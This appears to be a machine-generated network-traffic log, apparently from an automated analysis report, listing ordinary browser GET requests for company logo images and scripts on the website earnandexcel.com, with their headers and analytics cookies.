Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Deutsche-Bank.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/RBS.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/UBS.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/TATA.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/HSBC.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/RBS.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/RBC-Royal-Bank.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/UBS.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/SHELL.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/TATA.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/TELSTRA.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Deutsche-Bank.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/LLOYDS-BANK.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/DHL.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
Source: global traffic	HTTP traffic detected: GET /wp-admin/admin-ajax.php HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/FUJITSU.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
Source: global traffic	HTTP traffic detected: GET /scevent.min.js HTTP/1.1Host: sc-static.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Screenshot-2021-06-25-at-8.27.35-PM.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Coca-Cola.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/HSBC.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/TRANSPORT-FOR-LONDON.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/SHELL.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/TELSTRA.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/LLOYDS-BANK.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
